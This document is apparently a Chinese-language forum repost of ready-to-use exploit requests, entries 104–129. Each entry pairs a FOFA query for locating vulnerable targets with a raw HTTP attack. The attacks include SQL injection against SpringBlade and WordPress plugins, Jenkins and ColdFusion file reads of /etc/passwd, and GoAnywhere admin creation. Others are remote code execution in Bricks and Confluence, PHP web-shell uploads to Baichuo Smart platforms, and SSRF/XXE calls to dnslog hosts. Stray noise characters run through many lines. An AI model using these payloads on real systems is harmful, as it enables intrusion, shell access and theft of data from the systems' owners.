104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
; {/ h, D4 e: t' l6 g3 I0 Q- NCVE-2024-0569
# X# a. O. [  R" j5 v: N+ e; `FOFA：title="TOTOLINK"
9 ^: p& p2 t3 APOST /cgi-bin/cstecgi.cgi HTTP/1.1
# z5 v8 D1 h- A4 P) R2 }Host:192.168.0.1
Content-Length:41
' D* T- F4 p# H# ?3 k& |Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
; U% j' s- U4 FAccept-Encoding:gzip,deflate
$ H  |4 C6 v+ d. ^9 n  s7 }& BAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
, |% z# }1 q2 N. E, {Connection:close
# w- B9 P1 i0 a* O" Y
8 i( o/ ~+ O/ G. S8 `{
"topicurl":"getSysStatusCfg",
: `2 J. @" Y- E* Q- L6 R* q; b7 ["token":""
5 f, X- L  j1 |  p( E}
2 f4 K  @) a$ H
105. SpringBlade v3.2.0 export-user SQL 注入
. t7 |; }$ w6 E* @2 BFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

- n3 k8 e: b0 x, o9 s  }106. SpringBlade dict-biz/list SQL 注入
2 Q$ i9 W4 u1 w  O5 BFOFA：body="Saber 将不能正常工作"
/ K1 ~4 n* K7 W3 xGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
: r6 X3 g9 Y" [0 X) o- WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 v( ]+ x# ]% U3 z2 i- f  {! QBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
* \; B3 _( u3 h) V( RAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! E' Q$ p0 a8 J4 d7 yConnection: close
4 D9 D% `: `3 \4 E
: J: W- ?: A% O7 e% c! Z/ }' ~
107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
9 D  B) C# N0 i; t7 i! ]GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
! ]+ [0 v- X8 h/ o) P4 q  r' }. o# k+ _) cHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
& ?" ]4 v$ W9 G) rConnection: close
4 m: W" ~, ?; C! e3 h
2 e4 O0 \( @) ]7 o% J+ u9 C9 x
' H0 P4 E/ z' U$ O; h108. D-Tale 3.9.0 SSRF
8 ?5 T8 e; r5 h. e' uCVE-2024-21642
FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
1 e9 x# C3 j6 }Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
2 X( a0 V% K6 U6 aAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
0 a& ], x8 p! M1 ]: z7 f

1 h/ T9 o3 X, X' h4 G% P& s" X3 N109. Jenkins CLI 任意文件读取
8 `  w) c2 i. ECVE-2024-23897
9 P: o+ F8 W9 \! g. E" B9 N, IFOFA：header="X-Jenkins"
+ x4 ?7 \7 r3 O1 }7 s& e- `POST /cli?remoting=false HTTP/1.1
Host:
Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
: W6 L! q* u) M$ |# a+ c; Q$ RConnection: keep-alive
Content-Length: 163
* @7 g6 \$ e: Q, x# F
b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
4 a* a" D3 H2 F. p6 n7 D* z

9 W! g  g5 W5 I6 f- Y. f: kPOST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
! i. n% H( \8 NContent-Type: application/x-www-form-urlencoded
" q3 k) {# n! ?, K% Q. c5 p6 \1 b( OContent-Length: 0


ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
; r6 L  e: J8 G: F; p# e[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
; X  h8 @. d- U5 d7 c# OHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
5 s& B4 g/ @' m2 E' E/ `* j, NConnection: close
6 M) n  d5 s3 ?9 w5 R" ^Accept: */*
Accept-Language: en
% n# C3 @  I. i% k# }/ gAccept-Encoding: gzip


111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
2 O/ x: [1 Q. F; z" s2 OFOFA："wordpress" && body="html5-video-player"
0 n1 j. |% E# M, @GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
( m* _' q( y- ]/ S$ X* i% n& PHost: 192.168.40.130:112
0 U7 J+ G: G  CUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
+ E3 h. s  I. y0 D2 I9 XAccept-Language: en
+ U" p2 i) c) t5 W7 ]( P6 C9 @% NAccept-Encoding: gzip
$ ~& V' b+ z9 y% s" K. t7 {" I

112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
3 F) e9 W# ^* h1 IPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
6 V5 o% w: F* [9 OContent-Type: application/json

- {4 m9 z6 W3 Q' i6 k! y, P% y{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


0 w4 i$ _2 W" ]1 O) H4 L7 k. T113. WordPress Automatic 插件任意文件下载和SSRF
: g& B. f' M' i% K" YCVE-2024-27954
1 j& A9 B1 y6 W) f$ PFOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
6 E' }( Z7 l. f9 [" L, N0 B: hUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
  y) E/ H3 z2 d1 ]Accept: */*
, E* J: \( f3 ^! O" \- o$ mAccept-Language: en
Accept-Encoding: gzip
" g( c% o4 q. u& P2 w& O

114. WordPress MasterStudy LMS插件 SQL注入
* L6 C* l4 ~6 I8 |+ UFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
4 y6 c9 n9 x- j& Y" \" E4 nGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
% ?: ?6 `9 r, S% [1 tHost: your-ip
* F  c. n. Q+ K# vUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
" @; N' Z( I4 ?% b) rAccept-Encoding: gzip, deflate
Connection: close

" F( G; A! G4 A0 R' j, O9 M) C( g
/ {- }6 `; u3 ]2 k8 S, Z115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
( h9 ?1 w( I- b. c第一步，获取网站的nonce值
GET / HTTP/1.1
7 J5 r0 n) p4 S' |Host: x.x.x.x
* \' J8 V& f1 H" x6 y- ~User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
( m1 V& n+ @& y% H1 PConnection: close
Accept-Encoding: gzip
6 y1 w4 c8 A" x8 U* B
. Y, l/ T# R8 U" ]& h
, w1 \) X' ]4 z7 }第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
* l) q6 C8 l! h7 M* V7 nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
* T  U" n. z5 Y" K, mConnection: close
8 p6 U# N  w# q  m' D8 d: I# O& nContent-Length: 356
! z+ a& u! _' ^, W# rContent-Type: application/json
Accept-Encoding: gzip
% ~3 \2 D9 K; `8 t. O- h. T  V
{
"postId": "1",
+ f6 C, Q; G) `5 j# \" ~  "nonce": "第一步获得的值",
' w+ i) |/ t- c- M3 g  "element": {
    "name": "container",
7 Y( U) I7 u- O& j/ l    "settings": {
0 [# ]3 N* a: ~; {5 q' B, f, j      "hasLoop": "true",
      "query": {
5 c8 W* l/ Z( c1 z$ u        "useQueryEditor": true,
  ~+ O" g) m- z! g        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
! N% m6 R5 L. j4 x        "objectType": "post"
      }
0 h& d9 @* @2 o7 ^4 P) z/ ?* [- t    }
! D: D1 l; p$ n+ q  }
* G% M# x4 t8 R}
3 i7 z7 u: x+ O+ g/ Y, {0 Z4 C3 k

116. wordpress js-support-ticket文件上传
# O+ L5 J; P# j! {9 [6 FFOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
7 |- ~0 |7 ]) r- ]& G9 b% m2 }# pHost:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0

----------767099171
, `! v6 P& z3 G% T  e+ G# \9 N3 ^Content-Disposition: form-data; name="action"
9 w  n1 J$ F! n, Gconfiguration_saveconfiguration
! y) a# I  G- d7 z" Z3 ^----------767099171
; K7 ]" O! y) x+ z- X" t3 k8 d0 {Content-Disposition: form-data; name="form_request"
jssupportticket
3 y) \; S- a" _% t----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--


117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
, \% U0 y0 Z3 u/ m3 AGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
. i( e. `( ?$ {3 k, fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* Z$ _8 f: l* y# n4 Y. z# Z# S# fAccept-Encoding: gzip, deflate, br
Connection: close
  n; ?7 y' [$ C" P; c: |Upgrade-Insecure-Requests: 1
4 X5 w. W( B! e# G: @
3 e+ k/ g1 D* @, `
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
% S+ x/ j2 M0 z( |, WFOFA：title="Smart管理平台"
1 k' j. v* c3 }! a2 i; n) _POST /Tool/uploadfile.php? HTTP/1.1
6 S, O9 _. i1 z3 M- pHost: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
2 ?( W7 ^! I: _, ^% U: w) vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% v6 ]! L8 [4 L7 J1 r+ ~$ EAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
+ i$ x6 b% J# T' j& wContent-Length: 405
8 L3 n* Q) o& W( t# JOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
$ F( s4 A2 ]& Z9 `1 T" D4 v# wSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
! w& B- ]" B$ K' m3 g% z
-----------------------------13979701222747646634037182887
+ B  U' M% ?) h. o- Z0 ~Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
3 |9 Z/ y; p  H* X
<?php
. z% l9 r0 I8 g* d9 \. S1 v! ^6 D5 tsystem($_POST["passwd"]);
?>
/ h4 x) Z: L5 |. T/ V# i& B-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"

/home/src.php
-----------------------------13979701222747646634037182887--
; J  Y+ @3 i+ T: G' \

访问/home/src.php
6 [" r6 a8 Z  H, n" S
119. 北京百绰智能S20后台sysmanageajax.php sql注入
3 V$ D' s. |8 m6 F( C9 [CVE-2024-1254
5 A7 T2 T4 g3 r( a9 j' HFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
: N; b5 `9 W+ s- v/ {/ AHost: x.x.x.x
& s9 n4 S9 [& w1 A5 Z' a1 GCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
9 o, c2 ]& c, @7 [" }Content-Type: application/x-www-form-urlencoded;
/ |$ D, R6 p+ e" RContent-Length: 109
$ Z5 P1 ^9 i$ Y( W' Z; q' l# |: rOrigin: https://58.18.133.60:8443
1 z# k9 V" N$ t" TReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
" k( J, I9 C3 c+ K/ e0 C6 vSec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
6 }8 t: B) K# G& k, x9 AX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
8 Q. |& X4 I+ JX-Remote-Addr: 1.1.1.1
3 |, I. a9 R. S) X# Y$ v4 iTe: trailers
) N/ ^) ~+ @  q4 h3 qConnection: close
, Q4 p8 P' W$ @$ ?$ X# X1 a, a
src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
# @' ~; b8 r* y9 q0 q. N8 ~+ h* J

120. 北京百绰智能S40管理平台导入web.php任意文件上传
7 p; w$ f& S/ ?( JCVE-2024-1253
FOFA：title="Smart管理平台"
! p7 g1 U) Y) z/ }1 L+ T, X1 KPOST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
; ~0 s8 R5 f7 t1 CUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
: `; `- Q5 X3 i1 wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 F/ s3 h7 A# e6 }+ v% ^( |% n% h6 GAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
" _8 Z: ~2 m% ]8 b* p5 |Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
  N4 k) g  B, I# w! _- ?* uSec-Fetch-Dest: document
5 b! N: S" a3 `Sec-Fetch-Mode: navigate
, ~6 q0 p( O; X4 o8 I/ d: a# u/ ISec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
6 y$ A7 I; _2 t3 o( S, bTe: trailers
+ A3 v, N2 q# _" IConnection: close

# [/ c" h& z9 `3 S$ e6 e-----------------------------42328904123665875270630079328
% t6 I# g- n. I0 z+ mContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
& y1 S. [) _/ l; f
<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
' ?% Z2 s5 H# L0 z. Q" M$ I
) t% J, y# ?! Q  N7 ^+ N& G1
7 [7 K0 h. H6 p) p-----------------------------42328904123665875270630079328
' w. x6 l- K- f8 k6 w: OContent-Disposition: form-data; name="1_ck"
% [) R' T9 K) t/ v' [" s
$ Z/ o2 b1 l' |5 Y# K' U" J1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"

. W# R2 r1 a1 c. }- p5 d" Cimport
1 @1 S5 T& s4 x( O% q; \" G" L-----------------------------42328904123665875270630079328
4 e- E2 Z5 E4 x4 f

$ D" X( h3 I  y9 s: `" R8 c文件路径/upload/2.php

& k% m' ?0 O1 R( g  y8 f0 w  H" \/ K. x121. 北京百绰智能S42管理平台userattestation.php任意文件上传
; G9 }. F" d3 T  [! XCVE-2024-1918
* O" c1 @( ^0 d- d* }1 v* TFOFA：title="Smart管理平台"
  D9 @9 U  Q' b- NPOST /useratte/userattestation.php HTTP/1.1
; ~3 L8 z8 c$ F: W! C" g6 b5 JHost: 192.168.40.130:8443
% \! K5 \! T, O& \7 _( J( @* j" SCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
& @% h; @* H3 {& HUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ ]8 H  a+ t- |8 k0 N" f" G& X& OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
8 L6 u/ I) L: J( U& RContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
. O8 t% ]- d. O& e! q5 oUpgrade-Insecure-Requests: 1
: }: c: C- W' I7 O7 J* v# sSec-Fetch-Dest: document
7 U/ W' \; ^7 pSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
; Y; a. W6 n: c! P% qContent-Type: application/octet-stream
# b' t+ d0 g: r! _  e
<?php phpinfo();?>
2 M; T: I9 a6 G% j8 ]# \! e-----------------------------42328904123665875270630079328
+ w, Y6 w! C* {) N2 e2 K( AContent-Disposition: form-data; name="id_type"

; S* U( u. [6 h" ^- e) ]& t1
5 W! j) O! L, s! a+ C& v2 m-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
7 G. }; V% z/ u/ {6 t3 bContent-Disposition: form-data; name="hidwel"
  }0 U' _# J' p1 V9 W! y' j2 y
set
6 x) i# \' n+ ]! P* e  T/ x- Q2 g$ m-----------------------------42328904123665875270630079328


4 c3 e* g0 w/ [( Y! v; jboot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
! `1 D5 N) Q' `  q" U$ U$ VCVE-2024-27718FOFA：title="Smart管理平台"
2 H( {# J9 c* Y* t其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
" f7 {1 F& Z  C5 X! ]GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
- O) d: G* |9 Y% ^- q- vHost: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
2 M4 `: f; @: j, L3 a3 f8 [, SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
  u# I2 t/ v! {1 Q, S% [5 S5 ~Upgrade-Insecure-Requests: 1
# a! Y' `0 ?3 J* S5 ~: tSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
" t' ^9 K: x  q" W/ V) t1 {* xTe: trailers
Connection: close

. K% v7 m% ?2 f1 n, m/ T0 @5 b% X
# t5 z  f) Y( V1 }8 A0 x123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
. c$ W! N, J$ HAccept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
( d5 c/ g$ B! e# f0 @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
; ^% ~; Q  h4 zConnection: close
Content-Type: application/x-www-form-urlencoded

4 q( e# y9 v$ Ylabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

/ f# l; D1 p& b* U0 R- B. `9 a
! ?! w+ c! C$ G1 P9 i) U: ]7 e# S2 P; q( N124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
6 e/ o0 A5 ?' _4 \8 d9 KPOST /Scripts/admintool?type=updatefile HTTP/1.1
/ ]( z, w2 @  ?0 \* y) w; i3 s5 {4 YHost: 192.168.40.130:8282
, F- M% y1 G# t! O/ l( V; @User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
. p' c# _, v3 s4 A3 U! K+ OContent-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
: z: T- b' P/ g, JAccept-Encoding: gzip, deflate, br
0 \+ k. H9 H1 vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* g. {- Q% d" T5 NConnection: close
1 ]' L7 _& V2 \# bContent-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
3 Z: `8 @& D- V/ H/ c0 o
+ X; \( a! I5 w0 ~7 E2 b" `! P7 E* H9 V
http://192.168.40.130:8282/Scripts/abcgcg.aspx
: i7 Z. {1 o: _6 d$ D+ q
125. ConnectWise ScreenConnect身份验证绕过
: b( I7 V- P, M7 _  B: eCVE-2024-1709
# H* q+ M6 [9 ?' a" j$ ~* X7 xFOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc

* s  x# O  c8 p
使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


创建好用户后直接登录后台，可以执行系统命令。

  P1 k" R0 ~9 G, N126. Aiohttp 路径遍历
8 t4 N( E3 h8 A' ~FOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
* |$ U# j8 H# Q6 x) BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
# x3 Y& w8 p& s! M4 e  Y$ XConnection: close
& K  k  R; D0 [7 K0 |Accept: */*
Accept-Language: en
Accept-Encoding: gzip
% M" I+ C( b" Y* E1 ]
+ e% H1 p9 `4 u6 j/ G0 f  M8 [% v
127. 广联达Linkworks DataExchange.ashx XXE
! j% [  V1 F6 ?- _1 T% lFOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
5 _& j; g% J9 X7 a3 m3 }Content-Length: 415
' N4 _  @& k$ B6 QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) n0 Q) d( x9 b$ AAccept-Encoding: gzip, deflate
( _. V# F, W& p: t3 M. L- _5 nAccept-Language: zh-CN,zh;q=0.9
& e& s2 x# I4 [' v$ _" H# L3 |9 k! s0 kConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender
7 T; Y' l- H' K/ n. H! ~
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

7 r( r4 |1 n7 m7 dBIM
+ f& I2 n# q# r8 U' Q1 k' S- X: Y! v------WebKitFormBoundaryJGgV5l5ta05yAIe0
- r2 l: ], t+ zContent-Disposition: form-data;name="Params"
Content-Type: text/plain
1 t2 ?- A$ H& {, u! _
/ R. {4 f# w- I<?xml version="1.0" encoding="UTF-8"?>
; L  k6 M& P# Z<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
! g3 a+ t; _# t9 p- _, P. F" |8 []
6 e7 H! t. f0 ~+ g; x2 F>
7 b. d% }4 E4 J2 B0 x0 r, l<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--

  F: p! R. s: D1 O
- w* a+ S6 Z6 U1 D
128. Adobe ColdFusion 反序列化
% b% R- @) _4 _! _! Z$ Q! MCVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD

129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
. x& _# \) E+ F# f% kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
- u  E4 V& l7 e& x6 \0 Y6 pAccept-Encoding: gzip, deflate
1 h6 I& f5 Y- Z; X# TConnection: close
$ N( Y  G2 W. ~) O

第二步，读取/etc/passwd文件
4 C2 d" H8 c5 q: J; G+ NGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
/ Y. y) G& g0 a$ {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
; p. e/ f1 m& b# [Accept: */*
